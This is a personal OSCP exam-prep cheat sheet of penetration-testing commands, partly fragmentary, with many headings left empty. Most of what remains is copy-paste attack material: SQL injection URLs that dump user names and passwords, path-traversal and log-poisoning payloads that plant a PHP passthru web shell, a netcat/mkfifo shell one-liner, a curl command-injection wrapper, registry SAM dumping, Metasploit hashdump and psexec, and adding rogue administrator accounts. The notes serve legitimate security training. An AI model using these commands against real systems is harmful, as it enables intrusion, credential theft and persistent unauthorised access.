Oscp Notes
Oscp Notes
Timo Sablowski
• Abstract
• Information Gathering
o Reconnaissance
▪ The Harvester
▪ Shodan
▪ DNS
▪ Google Dorks
• Service Enumeration
o SMB service enumeration
o SNMP
• Penetration
o SQLi
o PHP
o Generating Shells
▪ Custom Shells
o Compiling
o Privilege Escalation
• Maintaining Access
o Network Shells
o File Transfer
▪ TFTP
▪ Windows wget alternative
• Pivoting
o Metasploit
o SSH
o Misc
• Useful Commands And Notes
o Windows
▪ Tasks / Services
▪ Base64 encoding / decoding
▪ Dump passwords
▪ Security settings
▪ Variables
▪ Location of files
o MySQL
▪ General
▪ File access
Abstract
Here you can find my notes, which I made during the preparation for the OSCP exam. This is a
really incomplete list of commands and tricks. It just represents the stuff, which I needed to
write down in order to copy and paste them.
Information Gathering
Reconnaissance
The Harvester
Shodan
DNS
• DNS enumeration
Google Dorks
Service Enumeration
• nmap
nbtscan -r IP-RANGE
• enum4linux
enum4linux -a HOST
SNMP
Penetration
SQLi
• Check if you can find a row, where you can place your output
http://ip/inj.php?id=1 union all select 1,2,3,4,5,6,7,8
• Get the version of the database
http://ip/inj.php?id=1 union all select 1,2,3,@@version,5
• Get the current user
http://ip/inj.php?id=1 union all select 1,2,3,user(),5
• See all tables
http://ip/inj.php?id=1 union all select 1,2,3,table_name,5 FROM information_schema.tables
• Get column names for a specified table
http://ip/inj.php?id=1 union all select 1,2,3,column_name,5 FROM information_schema.columns
where table_name='users'
• Concat user names and passwords (0x3a represents “:”)
http://ip/inj.php?id=1 union all select 1,2,3,concat(name, 0x3A , password),5 from users
• Write into a file
http://ip/inj.php?id=1 union all select 1,2,3,"content",5 into OUTFILE 'outfile'
PHP
• LFI
If there is an LFI, it might be possible to run PHP commands as within the example from
exploit-db (https://www.exploit-db.com/exploits/9623/):
www.site/path/advanced_comment_system/admin.php?ACS_path=[shell.txt?] This results in this
exploit:
• Including files
?file=.htaccess
• Path Traversal
?file=../../../../../../../../../var/lib/locate.db
• Including injected PHP code
?file=../../../../../../../../../var/log/apache/error.log
o Tricks
▪ list of possible Apache dirs:
http://wiki.apache.org/httpd/DistrosDefaultLayout
▪ include access log from file descriptor /proc/self/fd/XX:
http://pastebin.com/raw.php?i=cRYvK4jb
▪ include email log files: http://devels-playground.blogspot.de/2007/08/local-
file-inclusion-tricks.html
▪ include ssh auth.log
▪ abuse avatar/image/attachment file uploads
▪ include session files: https://ddxhunter.wordpress.com/2010/03/10/lfis-
exploitation-techniques/
▪ include PHP’s temporarily uploaded files http://gynvael.coldwind.pl/?id=376
▪ Null Byte Injection:
?file=../../../../../../../../../etc/passwd%00
▪ Directory Listing with Null Byte Injection:
?file=../../../../../../../../../var/www/accounts/%00
▪ Path Truncation:
?file=../../../../../../../../../etc/passwd.\.\.\.\.\.\.\.\.\.\.\ ...
▪ Dot Truncation:
?file=../../../../../../../../../etc/passwd...........
▪ Reverse Path Truncation:
?file=../../../../ […] ../../../../../etc/passwd
• Logfile injection
o Connect to the server to inject code into the error.log:
o nc <IP> <port>
o GET /<?php passthru($_GET['cmd']); ?> HTTP/1.1
o Host: <IP>
Connection: close
Generating Shells
• Windows Service:
• Mac:
• PHP:
If you use php/reverse_php open the output file with an editor and add <?php and ?> within
the script.
• ASP:
• JSP:
• WAR:
Custom Shells
or
If you use REQUEST, you can use the GET and POST parameter:
#!/bin/bash
URL="http://x.x.x.x:yyyy/cmd_shell.php"
CMD=`echo ${*} | sed s'/ /%20/g'`
CMD=`echo ${CMD} | sed s'/&/%26/g'`
CMD=`echo ${CMD} | sed s'/>/%3e/g'`
echo ${URL}?cmd=${CMD}
curl -s ${URL}?cmd=${CMD}
echo ""
./cmd_inj ls -la
Compiling
Privilege Escalation
• Check File permissions via icacls and check if they might be writeable for everyone:
icacls <filename>
python windows-exploit-suggester.py -u
o Execute it:
Maintaining Access
Network Shells
http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet
• netcat
o with -e option
▪ Listening
▪ Reverse
rm -f /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/bash -i 2>&1 | nc -lp <port> >
/tmp/f
▪ Reverse
• ncat
o Listening
File Transfer
TFTP
• Manually
• mkdir /tftp
atftpd --daemon --port 69 /tftp
• As a service
in /etc/default/atftpd:
• USE_INETD=false
Afterwards:
• Download files
VBS
Powershell
• Running
Pivoting
Metasploit
• Portforwarding:
o Add route:
run autoroute -p
o Delete route:
• Pinging:
use post/multi/gather/ping_sweep
• Port scanning:
use auxiliary/scanner/portscan/tcp
SSH
• SSH Portforwarding:
If you jump over multiple hosts, always use the listening IP aswell:
ssh -R <targetip>:<targetport>:<localhost>:<localport>
o on target:
o On the server:
o mkfifo /tmp/fifo
o On the client:
o mkfifo /tmp/fifo
ssh -S /tmp/user@host:port %h
Misc
• Traffic encapsulation
Through http: http_tunnel
Through SSL: stunnel
• Get credentials in captured traffic:
dsniff -p <capturefile>
run post/windows/gather/hashdump
use exploit/windows/smb/psexec
• Add users
o Windows:
o net user <username> <password> /ADD
o net localgroup administrators <username> /ADD
net localgroup "Remote Desktop Users" username /ADD
o Linux:
o adduser --no-create-home --shell /bin/bash toor
or
Windows
Tasks / Services
tasklist
• base64 encode
• base64 decode
cmd certutil -decode inputfile outputfile
Dump passwords
• via reg.exe
• reg.exe save hklm\sam c:\sam_backup
• reg.exe save hklm\security c:\security_backup
Security settings
• Allow RDP
• Disable UAC
• reg enumkey -k HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\policies\\system
• Refresh policies
gpupdate /force
Variables
set
echo %USERDOMAIN%\%USERNAME%
Location of files
MySQL
General
File access
FLUSH PRIVILEGES;
• Write files
• Read files
select load_file('path_to_file');